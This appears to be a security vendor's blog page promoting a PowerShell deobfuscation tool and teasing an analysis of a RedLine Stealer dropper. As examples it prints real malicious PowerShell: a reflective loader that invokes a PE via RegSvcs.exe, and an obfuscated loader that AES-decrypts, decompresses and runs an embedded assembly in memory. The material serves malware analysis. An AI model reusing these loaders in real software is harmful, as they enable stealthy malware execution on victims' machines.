Powershell – Cerbero Blog

PowerShell Beautifier 2.0 Package

We have released version 2.0 of our commercial PowerShell Beautifier package. The new release adds the option to remove unused variables.

For example, this is a snippet of a malicious script:

$T = 'Get'
$M = $T + 'Method'
$I = 'Invoke'
$T = $T + 'Type'
$L = 'Load'
$Q0 = [Reflection.Assembly]
$B = $Q0::$L($MyS)
$B = $B.$T('NewPE2.PE')
$B = $B.$M('Execute')

$Ub = 'C:\Windows\Microsoft'
$z = $Ub + '.NET\Framewor'
$VT = $z + 'k\v4.0.30'
$XQ = $VT + '319\RegSvcs.exe'
$B = $B.$I($null,[object[]] ($XQ,$serv))

With both variable replacement and removal of unused variables enabled it becomes:

$load_result = [Reflection.Assembly]::Load($x_result)
$get_type_result = $load_result.GetType('NewPE2.PE')
$get_method_result = $get_type_result.GetMethod('Execute')
$invoke_result = $get_method_result.Invoke($null, [object[]]('C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe', $x_result_2))

RedLine Stealer Dropper

An interesting sample containing a number of different obfuscation techniques. In this article we analyze the dropper in detail and reach the final stage.

SHA256: 0B93B5287841CEF2C6B2F2C3221C59FFD61BF772CD0D8B2BDAB9DADEB570C7A6

The first file we encounter is a OneNote document. If the “OneNote Format” package is installed, all files are automatically extracted.

Continue reading “RedLine Stealer Dropper”

PowerShell code is often seen in malware. To help the analysis of such code we have just released the “PowerShell Beautifier” package. The package is available to all commercial licenses of Cerbero Suite Advanced.

The package features a complete parser for the PowerShell language and has many deobfuscation capabilities. If your organization is interested in integrating our PowerShell beautifier in a cloud service, please contact us.

The beautifier can be invoked as an action: Ctrl+R -> PowerShell -> PowerShell Beautifier.

Let’s look at an example of obfuscated PowerShell code:

$mcWPL = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join 
'')('%~f0').Split([Environment]::NewLine);foreach ($jBqHb in $mcWPL) { if 
($jBqHb.StartsWith(':: ')) {  $qUflk = $jBqHb.Substring(3); break; }; };$AKzOG = 
[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($qUflk);$GTqqO = 
New-Object System.Security.Cryptography.AesManaged;$GTqqO.Mode = 
[System.Security.Cryptography.CipherMode]::CBC;$GTqqO.Padding = 
[System.Security.Cryptography.PaddingMode]::PKCS7;$GTqqO.Key = 
[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join 
'')('rYCDvAfAeZYTmiLeZKnw0z4us9jgkCckB7mS60qxxg4=');$GTqqO.IV = 
[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join 
'')('JYh62EWEKCuIH7WrUJ0VdA==');$QTfFw = $GTqqO.CreateDecryptor();$AKzOG = 
$QTfFw.TransformFinalBlock($AKzOG, 0, 
$AKzOG.Length);$QTfFw.Dispose();$GTqqO.Dispose();$xVFCH = New-Object 
System.IO.MemoryStream(, $AKzOG);$qGLhv = New-Object 
System.IO.MemoryStream;$wRtOX = New-Object 
System.IO.Compression.GZipStream($xVFCH, 
[IO.Compression.CompressionMode]::Decompress);$wRtOX.CopyTo($qGLhv);$wRtOX.Dispose
();$xVFCH.Dispose();$qGLhv.Dispose();$AKzOG = $qGLhv.ToArray();$VBqqY = 
[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($AKzOG);$ReoQh = 
$VBqqY.EntryPoint;$ReoQh.Invoke($null, (, [string[]] ('%*')))

Continue reading “PowerShell Beautifier Package”